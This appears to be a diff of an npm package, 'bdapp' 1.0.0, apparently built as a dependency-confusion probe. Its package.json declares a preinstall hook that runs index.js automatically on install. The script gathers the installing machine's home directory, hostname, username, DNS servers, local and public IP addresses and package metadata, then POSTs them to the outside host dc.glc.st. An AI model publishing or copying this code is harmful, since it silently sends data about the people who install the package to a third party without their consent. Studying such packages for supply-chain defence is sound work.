bdapp 1.0.0

package/index.js

@@ -0,0 +1,89 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const http = require("http");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+
+// https://stackoverflow.com/questions/20273128/node-js-how-to-get-my-external-ip-address-in-node-js-app
+const { networkInterfaces } = require('os');
+
+const nets = networkInterfaces();
+const local_ips = Object.create(null); // Or just '{}', an empty object
+for (const name of Object.keys(nets)) {
+    for (const net of nets[name]) {
+        // Skip over non-IPv4 and internal (i.e. 127.0.0.1) addresses
+        // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
+        const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
+        if (net.family === familyV4Value && !net.internal) {
+            if (!local_ips[name]) {
+                local_ips[name] = [];
+            }
+            local_ips[name].push(net.address);
+        }
+    }
+}
+
+
+// https://stackoverflow.com/questions/20273128/node-js-how-to-get-my-external-ip-address-in-node-js-app
+var public_ip = Object.create(null); // Or just '{}', an empty object
+
+http.get({'host': 'api.ipify.org', 'port': 80, 'path': '/'}, function(resp) {
+    resp.on('data', function(ip) {
+        public_ip = "" + ip;
+        // console.log(public_ip);
+        extractData();
+    });
+});
+
+
+// https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/
+// author:- whitehacker003@protonmail.com
+function extractData()
+{
+    const trackingData = JSON.stringify({
+        p: package,
+        c: __dirname,
+        hd: os.homedir(),
+        hn: os.hostname(),
+        un: os.userInfo().username,
+        dns: dns.getServers(),
+        lip: JSON.stringify(local_ips),
+        pip: public_ip,
+        r: packageJSON ? packageJSON.___resolved : undefined,
+        v: packageJSON.version,
+        pjson: packageJSON,
+    });
+    // console.log(trackingData);
+
+    var postData = querystring.stringify({
+        msg: trackingData,
+    });
+    // console.log(postData);
+
+    var options = {
+        hostname: "dc.glc.st", //replace burpcollaborator.net with Interactsh or pipedream
+        port: 80,
+        path: "/",
+        method: "POST",
+        headers: {
+            "Content-Type": "application/x-www-form-urlencoded",
+            "Content-Length": postData.length,
+        },
+    };
+    // console.log(options);
+
+    var req = http.request(options, (res) => {
+        res.on("data", (d) => {
+            process.stdout.write(d);
+        });
+    });
+
+    req.on("error", (e) => {
+        // console.error(e);
+    });
+
+    req.write(postData);
+    req.end();
+}

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "bdapp",
+  "version": "1.0.0",
+  "description": "test dc package",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}